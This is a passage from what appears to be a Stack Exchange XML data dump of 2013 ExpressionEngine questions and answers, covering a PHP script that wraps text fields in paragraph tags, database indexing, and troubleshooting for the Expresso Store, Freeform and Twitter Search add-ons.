so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{expresso-field}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, you can drop into PHP to do it. Since we didn't want to modify a number of templates, one of our consultants (Joe Chellman) whipped up this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = mysql_connect ('ip_address', 'account', 'password');&#xA;mysql_select_db ( 'database' );&#xA;&#xA;mysql_set_charset ( 'utf8' );&#xA;&#xA;$q = &quot;SELECT entry_id, field_id_XXX FROM exp_channel_data WHERE channel_id='##' AND field_id_XXX like '%\n%' AND field_id_XXX not like '%&amp;lt;p&amp;gt;%'&quot;;&#xA;&#xA;$result = mysql_query($q);&#xA;&#xA;while ($row = mysql_fetch_object ( $result )) {&#xA;    $entry_id = $row-&amp;gt;entry_id;&#xA;    $body = $row-&amp;gt;field_id_XXX;&#xA;&#xA;    // recut the text&#xA;    $body = mysql_real_escape_string(paraWrapper($body));&#xA;&#xA;    // put it back&#xA;    $restoreQuery = &quot;UPDATE exp_channel_data SET field_id_XXX = '$body' WHERE entry_id = $entry_id&quot;;&#xA;&#xA;// print $restoreQuery . &quot;\n&quot;;&#xA;//  print $query2 . &quot;\n&quot;;&#xA;&#xA;    $restoreResult = mysql_query($restoreQuery);&#xA;    if (mysql_errno () != 0) {&#xA;        print 'Error on update for ' . $entry_id . ':' . mysql_error() . &quot;\n&quot;;&#xA;    } else {&#xA;        print &quot;Update of $entry_id successful.\n&quot;;&#xA;    }&#xA;}&#xA;&#xA;// will you convert?!&#xA;// $q_convert = 'UPDATE exp_channel_fields SET field_type = &quot;expresso&quot; WHERE field_id = XX';&#xA;&#xA;function paraWrapper($text) {&#xA;    $text = str_replace (array('&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;', '&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;'), array('', ''), $text);&#xA;    return &quot;&amp;lt;p&amp;gt;&quot; . implode( &quot;&amp;lt;/p&amp;gt;\n\n&amp;lt;p&amp;gt;&quot;, preg_split( '/\n(?:\s*\n)+/', $text ) ) . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;XXX&lt;/code&gt;, &lt;code&gt;XX&lt;/code&gt;, and &lt;code&gt;##&lt;/code&gt; are where field numbers, channel id's are needed. The last part of the script, also finishes the conversion of the field, from text to espresso. Of course, that's all in a PHP script.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-02-28T21:37:38.273" LastActivityDate="2013-02-28T21:37:38.273" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6784" PostTypeId="2" ParentId="6642" CreationDate="2013-02-27T06:41:04.483" Score="3" Body="&lt;p&gt;I'm not aware of any established best practices for adding indexes to DB tables. I'd say the official EllisLab stance is you shouldn't have to add any because they've done this work for you where needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But every project has different needs and developers have to evaluate this on a case by case basis depending on the project. In my years with EE, I've only needed to add one index to a large database that was struggling with a specific query. I'm not well versed in this area so perhaps I've needed it more and just didn't know. If you're going to add indexes to any table it will probably be the exp_channel_data table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is unless you are having specific resource issues with your DB server or can identify a specific query that is struggling, there shouldn't be reason to add an index. EE runs fine with its default DB settings for more projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick solution if you are having specific issues is to implement the &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CE Cache addon&lt;/strong&gt;&lt;/a&gt;. The speed increase when using the Static Driver is incredible... night and day difference in page load times... and it will immediately reduce any resource strain on the DB.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-02-27T06:46:21.330" LastActivityDate="2013-02-27T06:46:21.330" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="6785" PostTypeId="1" CreationDate="2013-02-27T10:35:37.273" Score="4" ViewCount="165" Body="&lt;p&gt;Is there a way, on the Checkout page, to have the Total automatically update when the buyer chooses a different shipping option (without clicking Update Totals)?&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2014-02-04T22:11:03.023" Title="Have Total update automatically when different shipping option chosen in Expresso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6786" PostTypeId="1" AcceptedAnswerId="6806" CreationDate="2013-02-27T11:07:28.000" Score="1" ViewCount="146" Body="&lt;p&gt;We are building a plugin that uploads content via a cron and updates the database. However because of the volume of data involved we decided against using the channel data tables, where we have quite a lot of valuable data and created a unique table for it instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if it is possible to create a low search collection from data other than that in the channel data table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2013-02-27T15:57:35.707" Title="Search channel from non 'channel_data' database table in low search" Tags="|search|low-search|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6787" PostTypeId="1" AcceptedAnswerId="7529" CreationDate="2013-02-27T11:17:16.303" Score="2" ViewCount="172" Body="&lt;p&gt;Here is the scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I want to store files (PDFs, DOCX, etc.) using Amazon S3 or similar&lt;/li&gt;&#xA;&lt;li&gt;I want members to login to my site and download these files via a url&lt;/li&gt;&#xA;&lt;li&gt;The link needs to be scrambled ie. www.mydomain.com/fdsfjksdksdasd&lt;/li&gt;&#xA;&lt;li&gt;The site runs on HTTPs / SSL&lt;/li&gt;&#xA;&lt;li&gt;The URLs can NOT be shareable i.e. members must be logged in (so deny&#xA;hotlinks)&lt;/li&gt;&#xA;&lt;li&gt;There are multiple files per entry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I currently have a version of this using the file manager, the files stored behind the root and Intoeetive's Protected Links to manage the urls (which prevents hotlinking). The problem I have is that the file manager is awkward for the users of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the users would be able to search for a document in Amazon S3 or similar and attach it to an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, we're FTPing documents to the server, running the sync in EE file manager 9slow when you have a lot of files), then attaching the file to the entry (we're using Matrix to handle multiple files) and a few other admin tasks to satisfy Protected Links. It is also difficult when we want to move files into different folders (as that breaks the links).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at Assets, as the interface for the users will be easy to adopt, but has &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/is_this_possible_with_assets&quot; rel=&quot;nofollow&quot;&gt;limitations&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative to using file manager that would handle what I am looking for a bit more out of the box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I understand this is more of a subjective question, but I was pointed here form Pixel &amp;amp; Tonic and I also posted on the forums but got no responses.&lt;/p&gt;&#xA;" OwnerUserId="1072" LastActivityDate="2013-03-20T09:41:43.230" Title="Is there an alternative to using file manager for this scenario?" Tags="|file-uploads|file-manager|ssl|sync|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6788" PostTypeId="1" CreationDate="2013-02-27T11:32:52.250" Score="4" ViewCount="154" Body="&lt;p&gt;Some of my ExpressionEngine (EE2) websites that run Twitter Search 2 by Exp:resso have recently started throwing out PHP Error Notifications, and I can't see why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error Was Encountered&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: stdClass::$to_user_id_str&#xA;&#xA;Filename: twitter_search/pi.twitter_search.php&#xA;&#xA;Line Number: 107&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code inside the template is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:twitter_search q=&quot;from:@xxxxxx+OR+from:@xxxxxxxx+OR+from:@xxxxxx&quot; rpp=&quot;5&quot; lang=&quot;en&quot; cache=&quot;yes&quot; auto_links=&quot;yes&quot;  refresh=&quot;5&quot;}&#xA;&#xA;&amp;lt;div class=&quot;tweetItem clearfix&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{tweet_url}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{profile_image_url}&quot; width=&quot;40&quot; height=&quot;40&quot; border=&quot;0&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;flRight tweetAuthor&quot;&amp;gt;&amp;lt;em&amp;gt;&amp;lt;a href=&quot;{tweet_url}&quot; target=&quot;_blank&quot;&amp;gt;{from_user}&amp;lt;/a&amp;gt;&amp;lt;/em&amp;gt; - {text}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;flRight tweetAuthor tweetDate&quot;&amp;gt;{relative_tweet_date} ago&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:twitter_search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing has been changed in the template code or server side, it just started throwing these notices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering whether it could be Twitter API limits as the sites are on the same server, but the tweets are still being pulled and rendered correctly, so it's not just appearing blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1073" LastEditorUserId="150" LastEditDate="2013-02-28T09:16:47.790" LastActivityDate="2013-02-28T09:16:47.790" Title="Twitter Search 2 Plugin PHP Error (stdClass::$to_user_id_str)" Tags="|php|search|error|twitter-search-2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6789" PostTypeId="2" ParentId="6787" CreationDate="2013-02-27T11:33:06.710" Score="0" Body="&lt;p&gt;If Assets suits your needs for the file-management part of the equation, maybe Devot-ee's own &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; would fit the bill for your security-needs...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-02-27T11:33:06.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6790" PostTypeId="1" CreationDate="2013-02-27T12:46:36.047" Score="3" ViewCount="211" Body="&lt;p&gt;Has anyone come up with an easy way for non-html-savvy users to put lightbox-style images into an Expresso (CKEditor) field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, link a thumbnail with a bigger version of an image and fire some lightbox-script on click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the user supply both the thumbnail and the big picture would be OK but the process shouldn't be too complicated and must not involve editing the HTML source.&lt;/p&gt;&#xA;" OwnerUserId="1013" LastActivityDate="2013-02-28T14:18:47.733" Title="Easy way to combine lightbox-functionality with Expresso" Tags="|channel|image|expresso|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6791" PostTypeId="1" AcceptedAnswerId="6792" CreationDate="2013-02-27T12:54:23.327" Score="1" ViewCount="174" Body="&lt;p&gt;I'm using the native EE simple search, and I'm using the {excerpt} tag, which displays the correct information on all the search results except for an audio file that pulled up in the results.  For the audio file, it displays the url to the file.  How would I prevent this from happening?  &lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-02-27T13:05:56.323" Title="excerpt in simple search shows url of file in search results" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6792" PostTypeId="2" ParentId="6791" CreationDate="2013-02-27T13:05:56.323" Score="2" Body="&lt;p&gt;In your Channel Preferences, you can select which field is used for the contents of &lt;code&gt;{excerpt}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZkqtC.png&quot; alt=&quot;Screenshot of Channel Preferences&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-27T13:05:56.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6793" PostTypeId="2" ParentId="6788" CreationDate="2013-02-27T13:11:24.633" Score="3" Body="&lt;p&gt;Twitter's switch to v1.1 of their API isn't supposed to happen until next month, though this may have been one of their &quot;blackout tests&quot;. Definitely API related at any rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless, &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet&quot; rel=&quot;nofollow&quot;&gt;CE Tweet&lt;/a&gt; is the only Twitter add-on I know of that's currently compliant with the API changes. I would strongly recommend migrating.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-27T13:11:24.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6795" PostTypeId="1" AcceptedAnswerId="6802" CreationDate="2013-02-27T14:14:50.003" Score="1" ViewCount="369" Body="&lt;p&gt;FreeForm 3.1.4&#xA;ExpressionEngine 2.5.5&#xA;Build 20121220&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi There,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When submitting my form, it takes you to the root domain (www.domain.com) and shows a white/blank page. It is not adding the entry to the database either or at least it isn’t showing in the Entries Tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried with no .htaccess file&#xA;Communicate tab works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happens on another form on the same site as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? See my template code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;           collection=&quot;Contact Form&quot;&#xA;           required=&quot;name|email|question&quot;&#xA;           return=&quot;/contact/thank-you&quot;&#xA;           notify=&quot;mark@domain.com&quot; &#xA;           template=&quot;contact&quot;&#xA;        }&#xA;&#xA;        &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Name: &amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; class=&quot;txtbox&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Email: &amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; class=&quot;txtbox&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;How did you hear about us?&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;how_hear&quot; /&amp;gt;&#xA;                &amp;lt;option value=&quot;Please Select&quot;&amp;gt;Please Select&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Word of mouth&quot;&amp;gt;Word of mouth&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Search engine&quot;&amp;gt;Search engine&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Online school listing&quot;&amp;gt;Online school listing&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Facebook&quot;&amp;gt;Facebook&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Twitter&quot;&amp;gt;Twitter&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Press&quot;&amp;gt;Press&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Banners&quot;&amp;gt;Banners&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;School minibus&quot;&amp;gt;School minibus&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Toddler class&quot;&amp;gt;Toddler class&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Other&quot;&amp;gt;Other&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt; &#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;If other, please specify: &amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;other&quot; class=&quot;txtbox&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p class=&quot;form-element&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Questions or Comments:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;textarea name=&quot;question&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; id=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        {/exp:freeform:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2013-02-27T15:28:06.783" Title="FreeForm 3.1.4 Blank page when sending" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6796" PostTypeId="2" ParentId="6642" CreationDate="2013-02-27T14:31:21.207" Score="5" Body="&lt;p&gt;Most of required indexes are already there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I usually do, is if I use custom sorting order with &lt;code&gt;exp:channel:entries&lt;/code&gt; I add key on field that I sort by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. if I have &lt;code&gt;{exp:channel:entries orderby=&quot;title&quot;}&lt;/code&gt; I add index on &lt;code&gt;title&lt;/code&gt; in &lt;code&gt;exp_channel_titles&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have &lt;code&gt;{exp:channel:entries orderby=&quot;my_custom_field&quot;}&lt;/code&gt; and &lt;code&gt;my_custom_field&lt;/code&gt; is a custom field with ID &lt;code&gt;7&lt;/code&gt; I add index on &lt;code&gt;field_id_7&lt;/code&gt; in &lt;code&gt;exp_channel_data&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-27T14:31:21.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6797" PostTypeId="1" AcceptedAnswerId="7246" CreationDate="2013-02-27T14:39:29.260" Score="3" ViewCount="313" Body="&lt;p&gt;I am having problems registering a member during checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My checkout works fine as long as the user does try to register as a member, the payment is approved, the order appears in the system with the default status applied and the user is correctly returned to the order confirmation screen as specified in the return parameter of the exp:store:checkout tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user tries to register as a member as they checkout the following happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The user is returned to the second of our 3 step checkout process - the billing / shipping address screen.  This is the page where the 'become member' checkbox and form is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The site shows that they are now logged in. Additionally - The Basket still has their items in. Basket cookies haven't cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Checking in the admin, the member has been created&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The order has been received - marked as 'paid' BUT no status has been applied (and no email sent) &amp;amp; the members account hasn't been assigned to the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally had my order fields mapping to member fields, but have removed the mapping and the problems remain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of Store 1.6.3 and expression engine 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit stuck how to debug this as no error codes are appearing on any of the pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-02-27T15:13:15.123" LastActivityDate="2013-03-12T05:58:11.060" Title="Expresso Store - Register as a member during checkout errors" Tags="|expresso-store|members|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6798" PostTypeId="2" ParentId="6774" CreationDate="2013-02-27T14:41:12.493" Score="2" Body="&lt;p&gt;Here's non-SQL way to do it: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the field settings page and change it's formatting to the value that you don't need. You will be shown warning in red and a checkbox, marking which would update all entries with new formatting. Do not check it, hit save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, open the field settings again. Now, select your desired formatting and mark the checkbox to update formatting for all entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voila! - all your entries have same formatting for given field.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-27T14:41:12.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6799" PostTypeId="1" AcceptedAnswerId="6835" CreationDate="2013-02-27T15:18:15.093" Score="3" ViewCount="345" Body="&lt;p&gt;I'm having some difficulties having clients adding/editing categories within entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the Super Admin, I can simply open an entry, click Categories and can add/edit categories without any troubles. When I log in as an Admin account type however, I am unable to add categories. When I click the link, I get two JS errors, one being a 500 Internal Server error, the other, &quot;Uncaught ReferenceError: $loading is not defined.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to why this is not affecting Super Admins, but only the Admins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using EE 2.5.3. Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tqAxv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-02-27T23:28:27.723" Title="Trouble Editing Categories for Admins" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6800" PostTypeId="2" ParentId="6788" CreationDate="2013-02-27T15:27:12.957" Score="2" Body="&lt;p&gt;This has been fixed as of 5 minutes ago in v2.0.8 of Twitter Search. You can grab a fresh copy here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/twitter_search&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/twitter_search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems there were some slight changes to the Twitter search API results which the plugin wasn't expecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Twitter Search uses the Twitter Search API which is completely separate from the main Twitter API (it does not use authentication at all), and therefore should not be affected by the upcoming Twitter API v1.1 changes (AFAIK, only time will tell for sure).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-27T15:27:12.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6802" PostTypeId="2" ParentId="6795" CreationDate="2013-02-27T15:28:06.783" Score="2" Body="&lt;p&gt;This was resolved in the Solspace forums here:&#xA;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/15814/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/15814/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, once debugging was enabled the blank page displays this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error Number: 1054&#xA;  Unknown column ‘ip_address’ in ‘where clause’&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT COUNT(*) AS count FROM exp_security_hashes WHERE hash=‘181350a948fdb9c1b7e2c0646bebf75b7c7c5ea1’ AND ip_address = ‘86.146.35.53’ AND date &gt; UNIX_TIMESTAMP()-7200&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/freeform/mod.freeform.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 1106 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is an issue with EE 2.5.4+ removing the &lt;strong&gt;ip_address&lt;/strong&gt; column from the &lt;strong&gt;exp_security_hashes&lt;/strong&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading to Freeform 3.1.5 or Freeform 4, which have this fixed, should resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-02-27T15:28:06.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6803" PostTypeId="1" AcceptedAnswerId="6817" CreationDate="2013-02-27T15:38:01.107" Score="1" ViewCount="976" Body="&lt;p&gt;After making a new form, using Free Form in EE, and adding the &quot;notify&quot; parameter, I get PHP errors. The data gets submitted, but the re-direct to the thank you page doesn't happen for the end user. It seems like if it sits for a day, then the redirect works, but the notification still doesn't happen. If I don't add the &quot;notify&quot; parameter, everything seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't do the initial install of EE or FreeForm, so I don't know how it all goes together. Or how to trouble shoot. The hosting company recently switched servers, so I thought that might be the problem, but they updated permissions and don't think they are the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples of the errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known&#xA;Filename: libraries/Email.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fwrite(): supplied argument is not a valid stream resource&#xA;Filename: libraries/Email.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fgets(): supplied argument is not a valid stream resource&#xA;Filename: libraries/Email.php&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2013-02-27T21:04:33.493" Title="Errors from libraries/Email.php" Tags="|ee2|solspace-freeform|codeigniter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6804" PostTypeId="1" AcceptedAnswerId="6813" CreationDate="2013-02-27T15:43:22.707" Score="1" ViewCount="528" Body="&lt;p&gt;I want to make a Bootstrap carousel with matrix when the user adds 2 or more images. the first part i get, but how can i make matrix deal with the complex code from bootstrap? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{visitor:profiel_fotos}&#xA;    {if total_rows==&quot;1&quot;}&#xA;        {exp:ce_img:pair src=&quot;{profiel_fotobestand}&quot; width=&quot;600&quot; height=&quot;350&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;}&#xA;            &amp;lt;img src=&quot;{made}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;/&amp;gt;&#xA;        {/exp:ce_img:pair}  &#xA;    {if:else}&#xA;&amp;lt;!-- Carousel--&amp;gt;&#xA;        &amp;lt;div id=&quot;myCarousel&quot; class=&quot;carousel slide&quot;&amp;gt;&#xA;          &amp;lt;ol class=&quot;carousel-indicators&quot;&amp;gt;&#xA;            &amp;lt;li data-target=&quot;#myCarousel&quot; data-slide-to=&quot;0&quot; class=&quot;active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li data-target=&quot;#myCarousel&quot; data-slide-to=&quot;1&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li data-target=&quot;#myCarousel&quot; data-slide-to=&quot;2&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li data-target=&quot;#myCarousel&quot; data-slide-to=&quot;3&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;/ol&amp;gt;&#xA;         &amp;lt;div class=&quot;carousel-inner&quot;&amp;gt;&#xA;&amp;lt;!-- Carousel items --&amp;gt;&#xA;            {if row_count==&quot;1&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{profiel_fotobestand}&quot; width=&quot;600&quot; height=&quot;350&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;}&#xA;                        &amp;lt;div class=&quot;active item&quot;&amp;gt;&amp;lt;img src=&quot;{made}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/exp:ce_img:pair}&#xA;                {if:else}&#xA;                    {exp:ce_img:pair src=&quot;{profiel_fotobestand}&quot; width=&quot;600&quot; height=&quot;350&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;}&#xA;                        &amp;lt;div class=&quot;item&quot;&amp;gt;&amp;lt;img src=&quot;{made}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/exp:ce_img:pair}&#xA;                {/exp:ce_img:pair}&#xA;            {/if}&#xA;         &amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- Carousel nav --&amp;gt;&#xA;          &amp;lt;a class=&quot;carousel-control left&quot; href=&quot;#myCarousel&quot; data-slide=&quot;prev&quot;&amp;gt;&amp;lt;i 